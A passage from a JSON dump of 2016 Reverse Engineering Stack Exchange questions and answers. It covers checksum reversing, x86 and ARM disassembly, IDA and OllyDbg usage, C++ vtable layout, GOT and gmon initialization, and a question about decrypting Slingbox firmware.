A9\n  90        C8 03 00 00 00 04 0D 22 00 00 00 00 AB\n  91        C8 03 00 00 00 04 0E 20 00 00 00 00 A8\n  92        C8 03 00 00 00 04 0E 22 00 00 00 00 AA\n  93        C8 03 00 00 00 04 0F 20 00 00 00 00 AB\n  94        C8 03 00 00 00 04 0F 21 00 00 00 00 AA\n  95        C8 03 00 00 00 04 0F 22 00 00 00 00 55\n  96        C8 03 80 00 00 00 09 20 00 00 00 00 21\n  97        C8 23 00 00 00 00 09 1F 00 00 00 00 46\n  98        C8 23 00 00 00 00 09 20 00 00 00 00 41\n  99        C8 43 00 00 00 00 09 1F 00 00 00 00 66\n 100        C8 43 00 00 00 00 09 20 00 00 00 00 61\n 101        C8 60 40 00 00 00 09 1B 00 00 00 00 D9\n 102        C8 60 40 00 00 00 09 1C 00 00 00 00 D8\n 103        C8 60 40 00 00 00 09 1D 00 00 00 00 DB\n 104        C8 60 40 00 00 00 09 1E 00 00 00 00 DA\n 105        C8 62 40 00 00 04 09 1E 00 00 00 00 C0\n 106        C8 62 40 00 00 04 09 1F 00 00 00 00 C3\n 107        C8 63 00 00 00 00 09 1F 00 00 00 00 06\n 108        C8 63 00 00 00 00 09 20 00 00 00 00 01\n 109        C8 63 40 00 00 00 09 1F 00 00 00 00 C6\n 110        C8 63 40 00 00 04 09 1F 00 00 00 00 C2\n 111        C9 C4 D0 1F 80 31 00 40 02 00 00 00 3A\n 112        CA 00 00 00 00 00 00 00 00 02 F1 21 8B\n 113        CB 00 00 FF FF 70 00 00 00 00 00 00 6C\n 114        CB 00 00 FF FF 7C 00 00 00 00 00 00 10\n 115        CB 00 00 FF FF 7D 00 00 00 00 00 00 13\n</code></pre>\n",
        "Title": "Reverse engineer checksum algorithm",
        "Tags": "|encodings|protocol|crc|",
        "Answer": "<p>You seem to have the same air conditioner like the guy who asked <a href=\"https://reverseengineering.stackexchange.com/questions/8429/reverse-engineering-a-8-bit-crc-checksum\">this question</a>. Add up bytes 0-11, <code>xor</code> with <code>0x55</code> to get byte 12.</p>\n\n<p>It could help if you stated the brand and model number of your AC unit, that makes it easier for other people who want to do the same thing.</p>\n"
    },
    {
        "Id": "12596",
        "CreationDate": "2016-05-04T22:54:56.843",
        "Body": "<p>I have this little-endian thumb hex code: 44 79 (79 44) and I want to convert it into an instruction. How do I go about doing so? Compiling a program then decompiling it to get the instruction, is that possible?</p>\n",
        "Title": "How to convert this hex into an instruction?",
        "Tags": "|ida|",
        "Answer": "<p>The <a href=\"https://www.onlinedisassembler.com/odaweb/\" rel=\"nofollow\">Online Disassembler</a> works well for small sequences of instructions.</p>\n\n<p><a href=\"https://www.onlinedisassembler.com/odaweb/ZqHUIva4/0\" rel=\"nofollow\">44 79</a></p>\n\n<pre><code>.data:00000000  7944    ldrb    r4, [r0, #5]\n</code></pre>\n\n<p><a href=\"https://www.onlinedisassembler.com/odaweb/KzC5t7QF/0\" rel=\"nofollow\">79 44</a></p>\n\n<pre><code>.data:00000000  4479    add     r1, pc\n</code></pre>\n"
    },
    {
        "Id": "12599",
        "CreationDate": "2016-05-05T01:44:07.233",
        "Body": "<p>I have a function which fetches the Glide screen width and height and passes it to some set-up function (<code>sub_457048</code>).</p>\n\n<p>However, IDA does not recognize that the Glide API function to retrieve the width obviously returns it:</p>\n\n<p><a href=\"https://i.stack.imgur.com/yUUVC.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/yUUVC.png\" alt=\"enter image description here\"></a></p>\n\n<p>This gets interesting when looking into the assembly code:\n<a href=\"https://i.stack.imgur.com/iwrZh.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/iwrZh.png\" alt=\"enter image description here\"></a></p>\n\n<p>I'm not sure how to tell IDA the <code>grSstScreenWidth</code> returns a value into EBX which is then put in EDX: The set-up function looks correct - I never understood that useless mov of EAX into EBX after the height function was called; height stays in EAX, and width is put into EDX:</p>\n\n<p><a href=\"https://i.stack.imgur.com/URjMB.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/URjMB.png\" alt=\"enter image description here\"></a></p>\n\n<p>Am I wrong here? Is IDA wrong? Or is nobody wrong?</p>\n",
        "Title": "What to do when IDA does not recognize return value?",
        "Tags": "|ida|hexrays|",
        "Answer": "<p>I am probably late for this, but for future visitors:\nthe parameters to sub_457048 are passed in eax and edx. The call to _grSstScreenHeight is returned in eax and then saved in ebx, and finally moved in edx.\nThe call to _grSstScreenWidth is returned in eax.</p>\n\n<p>so sub_457048 will be eax (width) and edx (height) which is correct.</p>\n\n<p>The intermediate step to store the value in ebx, is because it's not known to the caller if _grSstScreenWidth will overwrite edx (as it is allowed to, according to the STDCALL calling convention <a href=\"https://en.wikipedia.org/wiki/X86_calling_conventions#stdcall\" rel=\"nofollow noreferrer\">https://en.wikipedia.org/wiki/X86_calling_conventions#stdcall</a>). On the other hand, _grSstScreenWidth has to preserve ebx.</p>\n\n<p>You're right however, IDA did not seem to see that the value returned by _grSstScreenWidth was to be stored in v4</p>\n"
    },
    {
        "Id": "12608",
        "CreationDate": "2016-05-08T17:06:21.630",
        "Body": "<p>I'm trying to call a function with a function pointer in C++, but I can't find any convention that fits it. Its stack arguments are (right to left):</p>\n\n<pre><code>func(float x, float y, int unk);\n</code></pre>\n\n<p>...but ecx needs to be pointing to a buffer it can use for output / storage. That would be __thiscall, but the caller cleans up the stack (adds 12 to esp). This is what I have right now:</p>\n\n<pre><code>((void(__thiscall*)(char*,float,float,int))(0x1234567))(a, b, c);\n</code></pre>\n\n<p>but it causes the application to crash because the stack isn't evened.</p>\n\n<p>How can I call this?</p>\n",
        "Title": "How can I call a function that acts like __thiscall, except the caller cleans the stack?",
        "Tags": "|x86|c++|calling-conventions|",
        "Answer": "<p>Sounds like you have a variadic <code>__thiscall</code> function (printf-like). Those use <code>ecx</code> for <code>this</code> but the remaining arguments are pushed onto the stack and the caller cleans it up.</p>\n"
    },
    {
        "Id": "12609",
        "CreationDate": "2016-05-08T20:17:50.847",
        "Body": "<p>meanwhile, I am learning more and more how to reverse engineer. Ive figured out tons of stuff already, but I came to the point, where I just need some little explanation whats going on in the constructor of a specific class.</p>\n\n<p>I know, that this specific class (Class A) inherits 3 other Classes (lets say: class B, class C, class D).\nClass A calls the constructors of B,C,D. Everything up to here is clear for me. </p>\n\n<p>But:</p>\n\n<p>Class D has a method \"addListener\" which points to an attribute (this + 0x34).</p>\n\n<p>(this + 0x34) is assigned in the constructor to a address..</p>\n\n<pre><code>int A::A(void *someObject) {\n    B::B();\n    C::C();\n\n    *this = 0x1f18e8;\n    *(this + 0x28) = 0x1f190c;         // whats going here?\n    *(this + 0x34) = 0x1f193c;         // and here?\n\n    // Ive seen, that those addressees are inside of the vtable of Class A\n    // \n    //     __ZTV12A:        // vtable for A\n    // ...\n    // 001f18e8         db  0xc6\n    // 001f193c         db  0xb0\n    // 001f190c         db  0xba\n    // ...\n\n    D::D();\n\n    // Some other attributes, but these are clear for me (just \n    // have to name them right, by figuring out where these attributes are used):\n\n    *(this + 0x38) = someObject;\n    *(this + 0x3c) = 0x0;\n    *(this + 0x50) = 0x0;\n    *(this + 0x54) = 0x0;\n    *(this + 0x40) = 0xffffffff;\n    *(this + 0x44) = 0xffffffff;\n    *(this + 0x48) = 0xffffffff;\n    *(this + 0x4c) = 0x0;\n\n    D::addListener(this + 0x34);\n}\n</code></pre>\n\n<p>Am I right with my conclusion, that D::addListener() adds the class it self to the listener?</p>\n\n<p>In fact I just want to figure out what kind of object is added to the \"listener\":</p>\n\n<pre><code>    D::addListener(this + 0x34);\n</code></pre>\n\n<p>I hope my question is clear enough :)</p>\n",
        "Title": "Whats going on in this Class Constructor?",
        "Tags": "|disassembly|x86|c++|address|pointer|",
        "Answer": "<p>Your question is a bit unclear as you first say \"Class C has a method \"addListerner\" which points to an attribute (this + 0x34).\", then <code>D::addListener(this + 0x34);</code>. Typo?</p>\n\n<p>Also, you should read about (typical) implementations of multiple inheritance. Assume your classes B, C, D have methods <code>b</code>, <code>c</code>, <code>d</code> respectively. A will inherit all of them. Now, if A does <em>not</em> override these methods, and anything calls them, they have to be delegated to the correct superclass - the original methods. But these original methods will expect a class layout that corresponds to the original classes. Which means, A needs to \"embed\" all 3 classes into itself.</p>\n\n<p>Which means A will be laid out like this:</p>\n\n<pre><code>+-----+-------------------+\n|  00 | vtable of A       |\n+-----+-------------------+\n|  04 | member 1 of A     |\n|  08 | member 2 of A     |\n|     | ...               |\n+-----+-------------------+\n|  28 | vtable of B       |\n+-----+-------------------+\n|  2c | member 1 of B     |\n|  30 | member 2 of B     |\n|     | ...               |\n+-----+-------------------+\n|  34 | vtable of C       |\n+-----+-------------------+\n|  38 | member 1 of C     |\n|  3c | member 2 of C     |\n|     | ...               |\n+-----+-------------------+\n|  ?? | vtable of D       |\n+-----+-------------------+\n|  ?? | member 1 of D     |\n|  ?? | member 2 of D     |\n|     | ...               |\n+-----+-------------------+\n</code></pre>\n\n<p>So, yes, your conclusion is correct: <code>D::addListener()</code> adds the class itself to the listener. But because <code>D::addListener()</code> expects a <code>D</code>, not an <code>A</code>, the thing that's passed isn't the complete <code>A</code>, it's just the part of <code>A</code> that makes <code>D</code>. To make this look exactly like a <code>D</code>, it needs its own vtable that looks like a <code>D</code> vtable.</p>\n\n<p>But of course, parts of these vtables can be shared. <code>A</code> needs all methods in its vtable, so the vtable pointers of the partial classes <code>B</code>, <code>C</code> and <code>D</code> can point to the appropriate part of the <code>A</code>s vtable, they don't need their complete own copies.</p>\n\n<p>As to your \"what's going on here\" questions - these initialize the vtables of the partial classes. (In your assembly listing, you should treat those addresses as arrays of words, not bytes). What i wonder is why there's only 3 of them, there should be 4 for <code>A</code>, <code>B</code>, <code>C</code> and <code>D</code>. Something seems to be confused or omitted here, just like you said \"Class C has\" first, then used <code>D::addListener</code>.</p>\n"
    },
    {
        "Id": "12619",
        "CreationDate": "2016-05-10T12:18:20.053",
        "Body": "<p>I was playing around with Intel Pin and OllyDbg. And now I came up with the next question. Imagine we have PE32 executable that are able to run on both Windows 7 and Windows 10 (or any other versions of Windows). If I will use the same disassembler on both OS's will it produce the same assembly code for the same binary? (I don't have a possibility to check it right now) If yes, does this mean that if executable doesn't rely on some very version-specific functions of OS it will produce the same CPU and memory activity (if we have similar hardware with different OS versions) while running under different OS versions? What about the same OS but different CPU's?</p>\n\n<p>In other words will the following code result in the same activity under different OS's on the same hardware, and under same OS but diferent hardware?</p>\n\n<pre><code>MOV EBX, [VAR_NAME]     \nMOV [EBX], 110  \n</code></pre>\n\n<p>Thank you.        </p>\n",
        "Title": "How the same executable runs on different OS and hardware types?",
        "Tags": "|disassembly|windows|ollydbg|pe|pintool|",
        "Answer": "<p>Yes, that code will always do the same thing, for some reasonable definition of \"same\".</p>\n\n<p>If it didn't, no windows 7 program would be able to work with windows 8, and no windows 8 program would be able to work with windows 10. As long as programs only use documented OS APIs, Microsoft \"guarantees\" that they behave the same over a variety of Windows versions.</p>\n\n<p>Of course, there are differences; Windows 10 GUIs look quite different from Windows 7 GUIs. So you could say your program behaves differently; that's because the business logic of your program is within the program itself; the window-drawing-and-decoration stuff is done in Windows libraries. That's why i said \"reasonable definition\" of \"same\".</p>\n\n<p>Also, different OSes may lay out memory differently; the address that <code>VAR_NAME</code> refers to might be quite different between Windows 7 and Windows 10. In fact, since the introduction of <a href=\"https://en.wikipedia.org/wiki/Address_space_layout_randomization\" rel=\"nofollow\">ASLR</a>, the address may - and in most cases will - change if you run the same program twice on the same machine. All that the OS guarantees is that during one single invocation of the program, the address will not change. Which means all your <code>[VAR_NAME]</code> references will use the same chunk of memory, which is really all your program cares about.</p>\n\n<p>Next, Windows uses <a href=\"https://en.wikipedia.org/wiki/Virtual_address_space\" rel=\"nofollow\">virtual addressing</a>  for its processes, which means the address your program sees has nothing (easily discernible) to do with the actually used memory address. The physical page your variable is mapped to may change, repeatedly, while your program is running. So again, lots of things that happen may be different, but your program won't notice (unless it tries hard to).</p>\n\n<p>And on the hardware level, lots of things are different as well between CPUs; for example, they have different cache implementations. Which means one CPU might actually access memory every time you read your variable, while another accesses it only once and keeps it in cache. So again, lots of things that happen can be different.</p>\n\n<p>The good new is, your program doesn't want or need to care about it; the OS hides this stuff from your program. From <em>within your program</em>, your instructions always do the same thing - they set a variable to 110, and unless something changes it, it will be 110 the next time you read it. Which is, in fact, all that a normal program needs to know.</p>\n\n<p>You also asked if the disassembly will always be the same. Yes it will, in almost all cases. The same executable will always have the same content (assuming no malware changes stuff ...) which translates to the same assembly. However, some executable formats will allow you to combine more than one executable into one simple file. <a href=\"https://de.wikipedia.org/wiki/Fat_Binary\" rel=\"nofollow\">Apple did this</a> when they moved from one architecture to another. So if you have one of those binaries, it will contain two versions of the same program, one for the PowerPC architecture, and one for the x64 architecture, which, of course, translate to very different disassembled code. But this is not something that should concern you while you're working with Windows. (I seem to remember MS had something similar with Windows 2000 which suported various architectures, but i don't have a reference right now, so i may be wrong; also, this hasn't been a thing for at least 10 years now).</p>\n"
    },
    {
        "Id": "12623",
        "CreationDate": "2016-05-10T17:40:25.800",
        "Body": "<p>Whenever I hover over a SSE variable, e.g.:</p>\n\n<p><code>correct = tmp_corr;</code></p>\n\n<p>Which are both declared as <code>__m128</code> IDA shows them as a string of bytes, e.g. \"\\x00\\x00...\"  sometimes even weird characters...</p>\n\n<p>Is there anyway to make it display it as 4 floats instead or similar?</p>\n",
        "Title": "IDA debugging SSE intrinsics",
        "Tags": "|ida|hexrays|",
        "Answer": "<p>Was a bit lazy to answer this myself so here we go.</p>\n\n<p>Basically, it seems to display the registers just fine (XMM), so if you press TAB while on Psuedo Code it will take back to where it points to in assembly display, and then you can hover on the XMM register and it will display it nicely.</p>\n"
    },
    {
        "Id": "12625",
        "CreationDate": "2016-05-10T21:58:47.487",
        "Body": "<p>How can I find the address of a Windows kernel function?</p>\n\n<p>In this case I'm trying to find CreateThread.</p>\n\n<p>Can this be done from a debugger? Olly/Immunity?</p>\n",
        "Title": "Find Address of Windows Kernel Functions",
        "Tags": "|windows|debuggers|",
        "Answer": "<p>In Ollydbg you can select the disassembly windows and hit <code>CTRL + g</code>. A dialog box will show up and just enter <code>CreateThread</code> in it. The search is case sensitive.</p>\n\n<p><strong>EDIT</strong></p>\n\n<p>This does not work for Windows Kernel functions but it does work for any function from a DLL that is imported by the program being debugged. Since you are searching for <code>CreateThread</code> address, I assume that is what you meant from your question.</p>\n"
    },
    {
        "Id": "12632",
        "CreationDate": "2016-05-11T05:14:52.900",
        "Body": "<p>I compiled a simple <code>helloworld</code> and took a look at the disassembly using <code>objdump</code>.</p>\n\n<p>At the beginning there is the <code>_init</code>:</p>\n\n<pre><code>0000000000400600 &lt;_init&gt;:\n  400600:   48 83 ec 08             sub    rsp,0x8\n  400604:   48 8b 05 ed 09 20 00    mov    rax,QWORD PTR [rip+0x2009ed]        # 600ff8 &lt;_DYNAMIC+0x1e0&gt;\n  40060b:   48 85 c0                test   rax,rax\n  40060e:   74 05                   je     400615 &lt;_init+0x15&gt;\n  400610:   e8 1b 00 00 00          call   400630 &lt;__gmon_start__@plt&gt;\n  400615:   48 83 c4 08             add    rsp,0x8\n  400619:   c3                      ret    \n</code></pre>\n\n<p>What is <code>_DYNAMIC</code>?\nUsing <code>-x</code> I can see the section details:</p>\n\n<pre><code>Dynamic Section:\n  NEEDED               libstdc++.so.6\n  NEEDED               libc.so.6\n  INIT                 0x0000000000400600\n  FINI                 0x0000000000400864\n  INIT_ARRAY           0x0000000000600df8\n  INIT_ARRAYSZ         0x0000000000000010\n  FINI_ARRAY           0x0000000000600e08\n  FINI_ARRAYSZ         0x0000000000000008\n  GNU_HASH             0x0000000000400298\n  STRTAB               0x00000000004003c8\n  SYMTAB               0x00000000004002c0\n  STRSZ                0x000000000000011c\n  SYMENT               0x0000000000000018\n  DEBUG                0x0000000000000000\n  PLTGOT               0x0000000000601000\n  PLTRELSZ             0x0000000000000090\n  PLTREL               0x0000000000000007\n  JMPREL               0x0000000000400570\n  RELA                 0x0000000000400540\n  RELASZ               0x0000000000000030\n  RELAENT              0x0000000000000018\n  VERNEED              0x0000000000400500\n  VERNEEDNUM           0x0000000000000002\n  VERSYM               0x00000000004004e4\n</code></pre>\n\n<p>However, I am not sure which entry is <code>rip+0x2009ed</code> referring to.\nConsidering that the next line is a call to <code>gmon</code>, does it have anything to do with a <code>GPROF</code> hook?</p>\n",
        "Title": "How does GPROF hook to the program?",
        "Tags": "|assembly|x86-64|",
        "Answer": "<p>This is a trick that's used by the initialization code to support monitoring when it's compiled in, and omit it when it isn't compiled in.</p>\n\n<p>When i compile a small test program using <code>gcc -pg</code>, then invoke <code>objdump -Mintel -d</code> on it, i get:</p>\n\n<pre><code>00000000004004c0 &lt;_init&gt;:\n  4004c0:   48 83 ec 08             sub    rsp,0x8\n  4004c4:   48 8d 05 c5 00 00 00    lea    rax,[rip+0xc5]        # 400590 &lt;__gmon_start__&gt;\n  4004cb:   48 85 c0                test   rax,rax\n  4004ce:   74 05                   je     4004d5 &lt;_init+0x15&gt;\n  4004d0:   e8 bb 00 00 00          call   400590 &lt;__gmon_start__&gt;\n  4004d5:   48 83 c4 08             add    rsp,0x8\n  4004d9:   c3                      ret    \n</code></pre>\n\n<p>If i omit the <code>-pg</code> when compiling, this changes to:</p>\n\n<pre><code>0000000000400418 &lt;_init&gt;:\n  400418:   48 83 ec 08             sub    rsp,0x8\n  40041c:   48 8b 05 d5 0b 20 00    mov    rax,QWORD PTR [rip+0x200bd5]        # 600ff8 &lt;_DYNAMIC+0x1d0&gt;\n  400423:   48 85 c0                test   rax,rax\n  400426:   74 05                   je     40042d &lt;_init+0x15&gt;\n  400428:   e8 43 00 00 00          call   400470 &lt;__gmon_start__@plt&gt;\n  40042d:   48 83 c4 08             add    rsp,0x8\n  400431:   c3                      ret    \n</code></pre>\n\n<p>So you see that, with monitoring enabled, the code checks if <code>__gmon_start__</code> is not null before calling the function. With monitoring disabled, it checks some variable, and if it is 0, it skips the call to <code>__gmon_start__</code>.</p>\n\n<p>But wait. Why do we have a <code>lea</code> in the first case, and a <code>mov</code> in the second one? And why does the name end in <code>@plt</code> ?\nBecause, even if your program doesn't have profiling compiled in, maybe some of your dynamic libraries do, and maybe you're running against a profiling-enabled version of the C library. So the C library may provide a dynamic version of <code>__gmon_start__</code>, and it provides a flag to mark if it does so. This function and flag are defined in the <a href=\"http://bottomupcs.sourceforge.net/csbu/x3824.htm\" rel=\"nofollow\">GOT</a> and GOTPLT sections.</p>\n\n<p>And indeed, if you note the address that's used, <code>600FF8</code>, and scroll down the <code>objdump -x</code> output a bit from your section details, you'll see:</p>\n\n<pre><code> 21 .got          00000008  0000000000600ff8  0000000000600ff8  00000ff8  2**3\n                  CONTENTS, ALLOC, LOAD, DATA\n 22 .got.plt      00000038  0000000000601000  0000000000601000  00001000  2**3\n                  CONTENTS, ALLOC, LOAD, DATA\n</code></pre>\n\n<p>you'll see the code accesses a GOT table entry (which, for a small test program, is the only entry in the GOT there is, which is why GOT is just 8 bytes in size).</p>\n"
    },
    {
        "Id": "12639",
        "CreationDate": "2016-05-12T02:25:24.357",
        "Body": "<p>I found firmware for Slingbox 500 by sniffing the outgoing connections it is making. Having trouble making heads or tails of it though. I'd really love to see the filesystem because it's running dropbear ssh server!</p>\n\n<p>files as follow, were obtained from <a href=\"http://mdconfig.sling.com/config/v2/type/ngsb/product/intrepidCbfu/version/01.10.095.json\" rel=\"nofollow\">http://mdconfig.sling.com/config/v2/type/ngsb/product/intrepidCbfu/version/01.10.095.json</a> --</p>\n\n<pre><code>{\n\"payload\":\n    \"{\"config\":\n        {\n         \"updateVersion\":\"01.10.102\",\n         \"rebootTimeMsec\":68000,\n         \"firmwareComponents\":\n            {\n            \"appfsRecovery\":\n                {\n                    \"critical\":false,\n                    \"crc\":123,\n                    \"order\":1,\n                    \"reboot\":false,\n                    \"url\":\"www.navjit.com\",\n                    \"size\":123,\n                    \"version\":\"0.5.102\"\n                },\n            \"uImageMain\":\n                {\n                    \"critical\":false,\n                    \"crc\":1863698014,\n                    \"order\":2,\n                    \"reboot\":false,\n                    \"url\":\"http://cbfu-prod.slingbox.com/Intrepid/Intrepid_FW_01_10_102/s_fw4_uImage_mips_gz_118.bin\",\n                    \"size\":5463888,\n                    \"version\":\"1.9.118\"\n                },\n            \"FW3\":\n                {\n                    \"critical\":false,\n                    \"crc\":2050778634,\n                    \"order\":3,\n                    \"reboot\":false,\n                    \"url\":\"http://cbfu-prod.slingbox.com/Intrepid/Intrepid_FW_01_10_102/intrepid_fw3_f_p_1_5_432.bin\",\n                    \"size\":262144,\n                    \"version\":\"1.5.432\"\n                },\n            \"FW2\":\n                {\n                    \"critical\":false,\n                    \"crc\":2050778634,\n                    \"order\":4,\n                    \"reboot\":false,\n                    \"url\":\"www.navjit.com\",\n                    \"size\":123,\n                    \"version\":\"0.5.472\"\n                },\n            \"FW1\":\n                {\n                    \"critical\":false,\n                    \"crc\":123,\n                    \"order\":5,\n                    \"reboot\":false,\n                    \"url\":\"www.navjit.com\",\n                    \"size\":123,\n                    \"version\":\"0.5.472\"\n                },\n            \"uImageRecovery\":\n                {\n                    \"critical\":false,\n                    \"crc\":123,\n                    \"order\":0,\n                    \"reboot\":false,\n                    \"url\":\"www.navjit.com\",\n                    \"size\":123,\n                    \"version\":\"1.5.002\"\n                }\n            },\n        \"applications\":\n            {\n                \"sbCore\":\n                    {\n                        \"urlMeta\":\"http://cbfu-prod.slingbox.com/Intrepid/Intrepid_FW_01_10_102/FW5_SIG_01_10_102.tar\",\n                        \"critical\":false,\n                        \"sizeMeta\":10240,\n                        \"reboot\":true,\n                        \"type\":\"file_system\",\n                        \"url\":\"http://cbfu-prod.slingbox.com/Intrepid/Intrepid_FW_01_10_102/intrepid_fw5_full_01.10.102_nand.ubi.gz.aes\",\n                        \"version\":\"01.10.102\",\n                        \"size\":99865328\n                    }\n            }\n        }\n    }\",\n\n        \"header\":\n            {\n                \"signatureEncoding\":\"base64\",\n                \"msgType\":\"plain\",\n                \"signature\":\" MIAGCSqGSIb3DQEHAqCAMIACAQExDzANBglghkgBZQMEAgEFADCABgkqhkiG9w0BBwEAADGCAg8wggILAgEBMHkwdDELMAkGA1UEBhMCVVMxEzARBgNVBAgTCkNhbGlmb3JuaWExFDASBgNVBAoTC1NsaW5nIE1lZGlhMRMwEQYDVQQDEwpNRCBET1dOIENBMSUwIwYJKoZIhvcNAQkBFhZtZGFkbWluQHNsaW5nbWVkaWEuY29tAgEDMA0GCWCGSAFlAwQCAQUAoGkwGAYJKoZIhvcNAQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0BCQUxDxcNMTYwNDI3MDYxNzIyWjAvBgkqhkiG9w0BCQQxIgQgdMg3fnkpkxTXkZzmAgvCH613L0YpH70/9yGDYSN0D7YwDQYJKoZIhvcNAQEBBQAEggEApKOkHp4k8EgaMxPIxelQX2E2iKP91HgUnx4lkYkffirQU5ObvIFWd4DAyEmb6QO8X3BVA/tWnDDaIwunUy/2WVjgcwyTiSLr20tPlEPDJcACEQERx2xzAss3Y+voeXmwBrmDWFXn5ILNUN86GsL3mUyfySR6ZPly4Wu2Krb55e58FIu9WqS6ynCD1Qdt4djQ6VgeG+2+CBmUp7mvoemgr+Kzs0wNCOOm9/561Cqsl3MCbHrt8hXikcb2lTyH3UkNRlBmYt66hb7MB1r1osT8KLLERuJ1kFOhYf6edefTFjyQVM/EUUwK5TO5NzFGB8wosG9jzbLpbE9qXQrj62j6tAAAAAAAAA==\",\n\"configEncoding\":\"none\"\n            }\n}\n</code></pre>\n\n<p>Binwalk is blank on both of these files: </p>\n\n<blockquote>\n  <ul>\n  <li><a href=\"http://cbfu-prod.slingbox.com/Intrepid/Intrepid_FW_01_10_102/s_fw4_uImage_mips_gz_118.bin\" rel=\"nofollow\">http://cbfu-prod.slingbox.com/Intrepid/Intrepid_FW_01_10_102/s_fw4_uImage_mips_gz_118.bin</a></li>\n  <li><a href=\"http://cbfu-prod.slingbox.com/Intrepid/Intrepid_FW_01_10_102/intrepid_fw3_f_p_1_5_432.bin\" rel=\"nofollow\">http://cbfu-prod.slingbox.com/Intrepid/Intrepid_FW_01_10_102/intrepid_fw3_f_p_1_5_432.bin</a></li>\n  </ul>\n</blockquote>\n\n<p>The following tar file expands into three separate files:</p>\n\n<blockquote>\n  <ul>\n  <li><a href=\"http://cbfu-prod.slingbox.com/Intrepid/Intrepid_FW_01_10_102/FW5_SIG_01_10_102.tar\" rel=\"nofollow\">http://cbfu-prod.slingbox.com/Intrepid/Intrepid_FW_01_10_102/FW5_SIG_01_10_102.tar</a>\n  \n  <ol>\n  <li>FW5_sig.smime &lt;-- don't know how to decode these smime files, but the contain strings like \"Intrepid pkg key\", \"Intrepid pkg signer\", and \"OpenSSL Generated Certificate\", and have interesting names which might be useful!</li>\n  <li>FW5_enc_params.smime</li>\n  <li>ubi_fw_size --> \"128057344\"</li>\n  </ol></li>\n  </ul>\n</blockquote>\n\n<p>And probably the most interesting file which appears thoroughly encrypted (95 MB):</p>\n\n<blockquote>\n  <ul>\n  <li><a href=\"http://cbfu-prod.slingbox.com/Intrepid/Intrepid_FW_01_10_102/intrepid_fw5_full_01.10.102_nand.ubi.gz.aes\" rel=\"nofollow\">http://cbfu-prod.slingbox.com/Intrepid/Intrepid_FW_01_10_102/intrepid_fw5_full_01.10.102_nand.ubi.gz.aes</a></li>\n  </ul>\n</blockquote>\n\n<p>So here I am wondering if there is a chance to get further or if I'm stuck. I'm not against hardware tinkering, though I would certainly be clumsy with it and would require some handholding. Any thoughts? Thanks.</p>\n",
        "Title": "help getting at encrypted firmware [includes .SMIME and .gz.aes files]",
        "Tags": "|firmware|encryption|",
        "Answer": "<p>Most likely the decryption key is hardcoded in the firmware on the device or in some storage there. You will probably need to get into the device somehow to figure out how it does the firmware update decryption.</p>\n"
    },
    {
        "Id": "12645",
        "CreationDate": "2016-05-12T11:03:28.723",
        "Body": "<p>Both IDA Pro and OllyDBG automatically analyze the binary on load to identify whats code and data. I assume its a complicated process and I would like to learn more about this process.</p>\n\n<p>How is this process refered to and are you guys aware of any resources about this subject?</p>\n\n<p>I also composed a list of interesting information that can be read from the executable (taken from IDA Pro). Anything to add?</p>\n\n<ul>\n<li>Names</li>\n<li>Functions\n\n<ul>\n<li>Imports</li>\n<li>Exports</li>\n</ul></li>\n<li>Strings</li>\n<li>Structures</li>\n<li>Enums</li>\n<li>Segments</li>\n<li>Signatures (To identify the compiler)</li>\n</ul>\n",
        "Title": "Automated static code analysis",
        "Tags": "|ida|ollydbg|",
        "Answer": "<p>This is answered at length in The IDA PRO Book by Chris Eagle.</p>\n\n<p>In particular, the entire first chapter is dedicated to this topic.</p>\n\n<p>I would highly recommend purchasing a copy:\n<a href=\"https://www.nostarch.com/idapro2.htm\" rel=\"nofollow\">https://www.nostarch.com/idapro2.htm</a></p>\n\n<p>The electronic version is excellent for searching things like this.</p>\n\n<p>Outside of the book, I would recommend consulting this StackExchange question, which discusses Recurisve Descent dissassembly:\n<a href=\"https://reverseengineering.stackexchange.com/questions/2347/what-is-the-algorithm-used-in-recursive-traversal-disassembly\">What is the algorithm used in Recursive Traversal disassembly?</a></p>\n"
    },
    {
        "Id": "12652",
        "CreationDate": "2016-05-13T06:37:32.680",
        "Body": "<p>I just got into reversing, i'm a bit puzzled by a part of the following code.\nI know <em>what</em> its doing, from a technical aspect, but i don't really understand <em>why</em> its doing it.</p>\n\n<p>This is the part I have a question about.</p>\n\n<pre><code>seg005:292F                 test    si, 1           ; ?\nseg005:2933                 jz      short loc_21587\nseg005:2935                 movsb                   ; move byte DS:SI to ES:DI\nseg005:2936                 dec     cx\n</code></pre>\n\n<p>Why check to see if the LSB is set and, if it is, move only one byte before moving the rest of the string? Does this have to do with alignment? That's the best explanation I can think up.</p>\n\n<p>The entire function is below. All comments and names were filled out by me. Any other notes/comments on them or the function as a whole are appreciated.\nThanks.</p>\n\n<pre><code>seg005:290A\nseg005:290A ; =============== S U B R O U T I N E =======================================\nseg005:290A\nseg005:290A ; Attributes: bp-based frame\nseg005:290A\nseg005:290A StringConcat    proc far                ; CODE XREF: sub_1FFED+16P\nseg005:290A                                         ; sub_1FFED+3AP ...\nseg005:290A\nseg005:290A Destination     = word ptr  6\nseg005:290A Source          = word ptr  8\nseg005:290A\nseg005:290A                 push    bp\nseg005:290B                 mov     bp, sp\nseg005:290D                 push    si              ; save SI\nseg005:290E                 push    di              ; save DI\nseg005:290F                 cld                     ; clear direction flag.\nseg005:2910                 mov     di, [bp+Destination]\nseg005:2913                 push    ds              ; move ds....\nseg005:2914                 pop     es              ; ...into es\nseg005:2915                 mov     dx, di\nseg005:2917                 xor     al, al          ; al = search char. 0x0\nseg005:2919                 mov     cx, 0FFFFh\nseg005:291C                 repne scasb\nseg005:291E                 lea     si, [di-1]      ; last char in string\nseg005:2921                 mov     di, [bp+Source]\nseg005:2924                 mov     cx, 0FFFFh\nseg005:2927                 repne scasb\nseg005:2929                 not     cx              ; length of string\nseg005:292B                 sub     di, cx          ; move back to the start of the string?\nseg005:292D                 xchg    si, di          ; si = start of source string.\nseg005:292D                                         ; di = end ofdestination string\nseg005:292F                 test    si, 1           ; ?\nseg005:2933                 jz      short loc_21587\nseg005:2935                 movsb                   ; move byte DS:SI to ES:DI\nseg005:2936                 dec     cx\nseg005:2937\nseg005:2937 loc_21587:                              ; CODE XREF: StringConcat+29j\nseg005:2937                 shr     cx, 1           ; Divide cx by 2. Moving words, not bytes, so half the size\nseg005:2939                 rep movsw               ; move words DS:SI to ES:DI CX times\nseg005:293B                 jnb     short loc_2158E\nseg005:293D                 movsb\nseg005:293E\nseg005:293E loc_2158E:                              